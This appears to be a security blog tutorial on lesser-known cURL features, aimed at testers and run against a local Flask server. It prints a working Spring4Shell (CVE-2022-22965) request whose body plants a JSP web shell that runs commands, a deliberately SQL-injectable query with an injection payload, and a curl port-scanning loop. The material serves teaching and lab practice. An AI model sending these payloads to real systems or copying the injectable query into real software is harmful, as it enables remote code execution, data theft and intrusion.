Okay, everybody has used cURL before. It’s ubiquitous across the infosec realm and probably one of the most popular command line tools in existence. It’s also literally on the ISS.

Did you know you can interact with LDAP using cURL? How about NTLM, proxy tunneling, or domain sockets?!

Introduction

In this article, I want to show you some less common and advanced features of cURL, including:

  1. Sending POST requests with a payload file
  2. Uploading files to a server
  3. Exploiting Spring4Shell
  4. Exploiting SQL injection vulnerabilities using cURL
  5. Bonus

To make this a bit more interactive and for your viewing pleasure, let’s set up a super simple Python Flask web server with a few endpoints to see how these cURL requests look from a request and response view. If you want to follow along with these exercises (recommended), you’ll need the following packages:

Flask
sqlite3
json

Now for our server, copy and paste the following code and save it as server.py:

from flask import Flask, request, send_file
import sqlite3
import json

app = Flask(__name__)

@app.route('/', methods=['POST'])
def index():
 user_agent = request.headers.get('User-Agent')
 content_type = request.headers.get('Content-Type')
 if content_type == 'application/json':
 data = request.get_json()
 print("User-Agent: ", user_agent)
 print("Content-Type: ", content_type)
 print("Data", json.dumps(data, indent=4))
 return "Payload Recevied: Check terminal"
 elif content_type.startswith('multipart/form-data'):
 file = request.files['file']
 file_contents = file.read().decode('utf-8')
 print("User-Agent: ", user_agent)
 print("Content-Type: ", content_type)
 print("Got Image! ", file_contents)
 return "Success"

@app.route('/image')
def get_image():
 return send_file('image.png', as_attachment=True)

@app.route("/query")
def search():
 query = request.args.get("query")
 connection = sqlite3.connect("users.db")
 cursor = connection.cursor()
 cursor.execute("SELECT * FROM users WHERE name LIKE '%" + query + "%'")
 results = cursor.fetchall()
 connection.close()
 return str(results)

if __name__ == '__main__':
 app.run()

We’ve modified a common Flask template to output the User-Agent, Content-Type, and the data sent to the server. It’ll also accept file uploads and print those to the terminal, as well as being vulnerable to SQL injection!

Run the server: python3 server.py

To make sure everything’s gravy, give it a quick test with the following curl command:

curl -X POST -H "Content-Type: application/json" -d '{"snack": "sushi"}' http://localhost:5000/

You should see something like the following:

Okay, let’s get started…

POSTing data with a Payload File

One common use case for cURL is to send HTTP POST requests with a payload. Instead of manually entering the payload data on the command line as we did in our example, store it in a file and use the -d option:

For example:

curl -X POST -d @snack.json -H "Content-Type: application/json" 

In this case, cURL will send a POST request to our server with the data from our snack.json file:

Keen readers will notice my user-agent and some pretty printing to stdout. Stick around, and I’ll show you how 🙂

icon-alert-triangle:

Notice we are explicitly passing the -H "Content-Type: application/json" header. We’re just making sure our server knows the type of data that’s coming its way! This isn’t necessary with our Flask application as we inspect the incoming Content-Type. However, if you’re trying this against a real target and getting errors, setting this explicitly may help.

Uploading Files to a Server

You can use cURL to upload files to a server. Pass the -F option to specify the file:

For example:

curl -X POST -F "file=@charizard.png" 

Let’s check the server output:

And just to verify our upload worked:

Looking Back: Exploiting Spring4Shell with cURL & Config Files

To see how you can exploit Spring4Shell using cURL, I put some slick instructions up on my GitHub that combines everything we’ve covered so far:

card-image

queencitycyber / Spring4Shell-cURL

Weaponzing cURL configs to exploit Spring4Shell (CVE-2022-22965)

https://github.com/queencitycyber/Spring4Shell-cURL

In short, you can pass the --config option to cURL that points to a file that looks like this:

curl --config request.txt http://localhost:5000/

And the requests.txtcontents:

header = "Accept-Encoding: gzip, deflate"
header = "Accept: */*""
header = "Connection: close"
header = "suffix: %>//"
header = "c1: Runtime"
header = "c2: <%"
header = "DNT: 1"
header = "Content-Type: application/x-www-form-urlencoded"
proxy = localhost:8081
data-binary = "@body.txt"

Notice that the last line, data-binary = "@body.txt" points to another file titled body.txt

that has something like this inside, which is what get’s sent to the server:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/stupidRumor_war&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

I’ve had lots of fun fuzzing web applications using the technique above.

Port Scanning

On a recent engagement, I had access to a Linux host without many core utilities. By that I mean, no ss, netcat, netstat, or lsof. But I did have curl :) After some adjustments from this awesome article, I had a port scanner (albeit slow) in curl to enumerate open ports:

for i in {1..65535}; do curl -s -m 1 localhost:$i >/dev/null; if [ ! $? -eq 7 ] && [ ! $? -eq 28 ]; then echo open: $i >> ports.txt; fi; done

SQLi with cURL

Let’s run a quick Python script to populate a SQLite database with some information and use cURL to return that information:

import sqlite3

conn = sqlite3.connect("users.db")
cursor = conn.cursor()

cursor.execute("""CREATE TABLE IF NOT EXISTS users (
 name TEXT,
 email TEXT
)""")

users = [
 ('Marlo Stanfield', 'thablock@youwishyouknew.com'),
 ('Elim Garak', 'tailorshop@ds9.com'),
 ('Frasier Crane', '1901@elliotbay.com'),
 ('Ben Sisko', 'bsisko@ds9.com')
]

cursor.executemany("""INSERT INTO users (name, email)
VALUES (?,?)""", users)

conn.commit()
conn.close()

A simple request to the queryendpoint returns a JSON array with a user’s address:

Of course, there are a million different and better ways to exploit SQL injection vulnerabilities. I’m just here to show you that you can :)

In the last command, we queried just one user. But let’s execute the following command to get all user’s using a popular SQL injection payload:

curl "<http://localhost:5000/query?query=%25'%20AND%201=1%20AND%20'sprocket%25'='sprocket>" 

You should get back the following data:

If you want to try your newfound cURL skills on harder targets, I’d suggest OWASP’s JuiceShop. That’s all for now!

Bonus

Oh, here’s your bonus! Put this into your .curlrc file if you want output and headers like mine:

-w "\\nstatus=%{http_code} %{redirect_url} size=%{size_download} time=%{time_total} content-type=\\"%{content_type}\\"\\n"
-A "Debug-ChromeV001"

For further customizations, check out the venerable founder's article here:

card-image

Curl / Config file

Curl offers a feature we call "config file". It allows you to write command-line options in a text file instead and then tell curl to read options from that file in addition to the command line.